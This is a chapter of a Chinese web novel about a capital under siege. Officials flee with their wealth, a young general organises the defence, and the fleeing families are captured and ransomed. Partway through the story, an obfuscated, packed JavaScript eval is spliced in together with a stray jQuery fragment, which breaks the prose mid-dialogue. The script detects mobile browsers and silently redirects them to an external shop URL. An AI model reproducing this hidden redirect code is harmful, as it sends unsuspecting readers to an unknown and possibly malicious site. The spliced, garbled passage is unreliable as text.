文趣网 > 其他小说 > 君踏山河,我守清安 > 56.备战
    入夜,李府后院。

    王妧被一阵响动惊醒,披衣起身推开窗,见丈夫李仓正指挥仆人往箱子里装东西。

    她和李仓是家族联姻,彼此并无情意,丈夫又有几房妾室,她心中本就郁结不平,初入府之时,她尚带着闺阁女子的锐气,屡屡对妾室发难,与李仓争执置气。几番受挫吃亏后,她慢慢醒悟,在这深宅大院中,再也不能像闺阁女儿般无拘无束,她学会了收敛性子,甚至讨好丈夫,长此以往,她对这原本不喜欢的人也生了依赖之心。

    “官人。”她隔窗唤道:“这是在做什么?”

    李仓看了她一眼,目光闪烁:“家中的东西都归置到一处,你不用管。”

    王妧心中疑惑,但李仓神情不耐,她便没再问。次日,她在院中走动,也发觉各处都在收拾物什。晚间,李偃忽然传唤各房连同女眷一并到大堂议事。

    李偃面色沉重地坐于上首,环顾众人,道:“朔军南下,眼看便要兵临城下。我思量着,将家中财物先迁往江南。”

    一语既出,女眷们都变了脸色。李夫人问道:“财物既迁,那人呢?”

    李偃咳嗽一声说:“财物运送自然要派人随行,家中男子便担这运送之责。”

    王妧道:“那我们呢?”

    李偃不满她插话,瞪了她一眼道:“我说了,运送之责由男子承担。”

    王妧心中一沉,道:“父亲的意思,是只留我们一群女眷守着空宅?”

    李仓怒道:“你怎么同父亲说话的?等我们安顿妥当,自然会回来接你们。你们一群妇道人家,何必先跟着去受那份罪?”

    王妧道:“朔军打过来之后,我们还能不能活着,尚未可知。若是死了,官人,你们也就不必来接了。”

    李偃喝道:“仓儿,管好你娘子!如今这是什么局面?丝毫不为家族大事着想。”

    李夫人哭道:“官人,皇上还在坚守京城,你们若一走了之,日后如何为官?”

    李偃蹙眉道:“那沈聿小儿贪功冒进,执意守城,哄得皇上也陪他胡闹。你们可知道朔国铁骑有多厉害?燕北都是拿钱买回来的!若人都死了,还谈什么为官不为官?皇上眼皮子底下,我走不了,李家的香火还要延续。”他压低了声音,“不怕一万,就怕万一。”

    女眷们都哭了起来。

    李偃喝道:“闭嘴,怎么就哭丧一般?皇上还没走,京城不一定守不住。”

    三日来,沈聿总共睡了不过三四个时辰。他下令将北大营全部撤入城内,又将各地退入京城的散兵游勇重新编入各营,严明军纪。每壁分派一万将士,并将其划分为左右前后中五军,统制、统领、步队将、骑队将等层层节制,各军皆有明确的战守之责。

    同时将储存的四十万石豆粟移至安全处所,派兵严守,围城之际,军粮便是命脉。

    除此之外,最大的工程便是招募民间匠人与保甲兵,同士卒一起搬运修铸守城器械。强弩兵器多在兵营库中,由工部监管。工部尚书陈赫乃冯振门下,为表忠心,处处掣肘。

    搬还是要搬,毕竟军国大事里也牵连着他自家的身家性命,但态度傲慢,言语间满是倨色。沈聿吃了几个软钉子,索性与邓钦一道带着禁军亲去搬运。拿了几个人立威,余下的人见头领被抓,再不敢偷懒。

    陈赫见手下的人被这两个年轻的小子制住,而其中一人还是自己的下属,自家威信荡然无存,心中恼怒至极,可非常时期,也只能按捺不发。

    沈聿正与赵策、崔时商议犒赏将士之事。犒军乃大事,尤其守城之战,纵有将士们的报国之心,若只给空头许诺,难免挫伤士气。只是国库匮乏,能拿出的银钱有限,加之户部在主和派暗许下处处推诿,犒赏一事便陷入僵局。

    主和派虽不敢再公然违逆皇上,但守城既非他们所提,城守住了也无功可居,便乐得看沈聿为难,为此不惜将朝堂上惯用的伎俩搬到战场上。

    沈聿对着账册一筹莫展。皇上虽发了话,可账上空空如也,拿什么犒军?

    “沈将军,有家眷来访。”

    “家眷?”行营内三人皆是一愣。出来一看,见令仪,宁芷带着侍从,抱着一堆东西站在外面。

    沈聿将行营设在永定门内,吃住皆在营中。他脸上生出了青青的胡茬,面色略有些苍白。崔时与赵策也皆是灰头土脸。令仪一见崔时,眼眶便红了,拉着丈夫去了隔壁营房。

    赵策病愈之后许久未见宁芷,此刻一见,面露惊喜,道:“宁姑娘来了。”

    宁芷微笑行礼:“殿下辛苦。”

    赵策见她目光不时往沈聿那边飘,心中了然,轻咳一声道:“彦卿,宁姑娘,我还有些事要处理,先告辞了。”说罢便退了出去。

    营帐中只剩两人。宁芷将东西放在案上:“夫人惦记你,让我送些换洗衣物和吃食来,两位大人也分着用些。我刚才是不是打扰你们议事了?”

    “无妨。”沈聿帮着她收拾,道:“都是些无头公案,议也议不出结果。”

    “你坐着,我来。”宁芷拉住他的手臂,将他按回椅上,自己手脚麻利地替他规整衣物。

    沈聿靠在椅背上,看着她忙碌,忽然道:“阿芷,你怕吗?”

    宁芷手上停顿了一下道:“我不怕。”

    “为什么?”

    “就算京城守不住,大不了一死,哥哥在,你也在,我怕什么?”

    沈聿沉默片刻,道:“可皇上怕,臣子们也怕。他们怕得想逃,想把京城拱手让人。”

    “我知道。不然他们怎么都不愿守城?”宁芷似想起一事,开口道:“如今京中都在说……”

    话说到一半,她抬眼望了沈聿一眼,抿了嘴。

    “说什么?”沈聿笑道:“昔日纨绔子,今当守城将。”

    宁芷惊讶:“你都知道?”

    “早就知道,城中民心舆情,不可不察。”

    宁芷道:“我听说不少世家大户,已经收拾东西逃了。”

    沈聿声音沉下来道:“此事我清楚,几番派人劝阻不成,随他们去。朔军前锋距京还有一百里,明日可到,如今逃已经来不及了。”

    宁芷低头将食盒打开,把菜碟一碗碗摆上桌,忽然道:“刚才你们议的,是不是军饷?”

    沈聿抬眼看她。

    “夫人说了,府里还有些金银,若你有用钱之处,尽可拿去。我和哥哥也有些积蓄,我想直接捐到军中,免得被层层克扣,到将士手里反倒没剩多少。”

    沈聿望着她,目光有些复杂:“替我谢母亲。你和阿泽的钱留着,他不是还想去南方做生意?”

    宁芷摇头道:“眼下这一关若过不去,哪还有机会做生意。我在想,既然国库拿不出,国难当头,世家贵族、富商大贾都可慷慨解囊。一来可解犒赏之急,二来也能振奋士气。”

    “行。”沈聿道,“我去禀明皇上,请他下令。”

    “不。”宁芷道,“夺人钱财最招人恨,此事得自愿。”

    “你有办法?”

    “醉春坊的姐妹愿意捐些财物,再加上侯府带头,先造出声势来,那些世家大户便不好袖手旁观了。”宁芷将筷子递到他手里,道:“你放心干你的事,这些交给我和哥哥来办。哥哥最擅长应付这些场面。”

    沈聿握住她的手,道:“各地勤王之师已在路上,我有九成把握能撑到他们来。你们和母亲,等我回来。”

    宁芷反握住他的手,道:“嗯,我们等着你。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17754466|206686||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”

    翌日,行营司内。

    “沈将军!”传令兵快步跑来,神色急促道:“朔军绑了一众百姓,在城下叫阵!”

    沈聿眉心一拧:“百姓?关城之前早已颁下清野令,城外百姓都已迁入城内,哪里来的百姓?”

    崔时进来道:“是前两日私自出逃的那几家大户,满车金银财物,过于惹眼,被朔军骑兵追上截获。”

    沈聿没有说话,抬步上了城墙。城外射程之外的空地上,一些汉人服饰的男子跪伏在地上,身后各站着一名持刀的朔兵。

    “报!朔军传信使到!”

    “怎么说?”

    “放人可以,但需赎买,否则立即斩杀。”

    “赎买?什么价钱?”

    传信使道:“一人两千两银子。”

    沈聿望着城外,沉默片刻:“通知他们家人。”

    不久,几户人家的女眷哭哭啼啼地到了城下。那些逃出去的人家,只剩下了女眷和家仆,竟无一位当家主事之人。

    哭喊声混作一团,纷纷要求赎人,可问到银钱时,却无一人能拿出。

    “我们的钱财都被朔军搜刮了去,哪里还有钱赎人?”

    “可否请皇上出面?皇上总不能看着百姓死于敌手。

    王妧立在人群中,望着城楼上那个身披铠甲的身影,少年时的回忆排山倒海般涌来。城外那个抛弃她的所谓丈夫,如今看来竟是个笑话。可那个人不能死,他死了,她连这最后一点依靠也没了。

    沈聿站在城头,声音清清楚楚地传下来:“清野令早已张贴,擅自出城者,后果自负。既然各位拿不出赎金,那便请回吧。”

    女眷们哭声震天。

    李偃跪在朝堂上,声泪涕下,求皇上开城门救自己的儿子们。蔡恪脸色铁青,他自己都没敢把儿子送出城,这个蠢货竟公然违抗皇命,私自遣送子侄出城。

    皇上气得大骂李偃,当场要免了他尚书之职。李偃伏地哭道:“陛下,我家小儿曾随军出征,亲眼见朔人野蛮残暴,听闻朔军来袭,终日忧怖,这才央求出城。臣爱子心切,这才犯下大错,求陛下开恩。”

    他见皇上不为所动,转身抱住冯振的腿:“太尉,求太尉救我儿子!”

    冯振面色难看至极,生怕他情急之下吐出燕北赎金之事,只得硬着头皮上前道:“陛下,若放任百姓被杀,恐损城中将士士气。”

    赵策在一旁道:“太尉是想开城门救那几家人,好让朔军趁势入城吗?太尉倒是心系百姓,可太尉莫不是忘了,父皇还在城内,你置父皇安危于何地?”

    冯振进退两难,脸色青白交加,一句话也答不上来。

    皇上靠在龙椅上,疲惫地闭了闭眼。朔军已兵临城下,他身在宫中,整日胆战心惊,无时不在后悔没有南巡。可听说逃离京城的人又被朔军抓了回去,他又暗自庆幸自己留了下来。心神煎熬之下,他已数夜未眠。

    皇上挥了挥手。冯振会意,示意侍卫将李偃拖下去。李偃被架着往外走,忽然嘶声喊道:“太尉!当初是你让我……”

    “陛下!”

    冯振的声音骤然拔高,盖过了李偃的话尾:“臣愿与朔军和谈!”

    皇上睁开眼睛,目光落在他身上。李偃已被拖出殿门,声音倏然断了。

    皇上未曾注意到李偃突然没了声音,说:“两军交战之际,卿可愿意出城和谈?”

    冯振心里痛骂李偃不识好歹,赎金之事差点败露,面上仍装出慷慨凛然的样子,道:“国难当头,臣愿以身赴险,解陛下之忧。”

    皇上望着他,连日来紧绷的眉眼终于松了一丝,像是溺水之人抓住了浮木,连连点头道:“好,好,太尉此去,朕静候佳音。”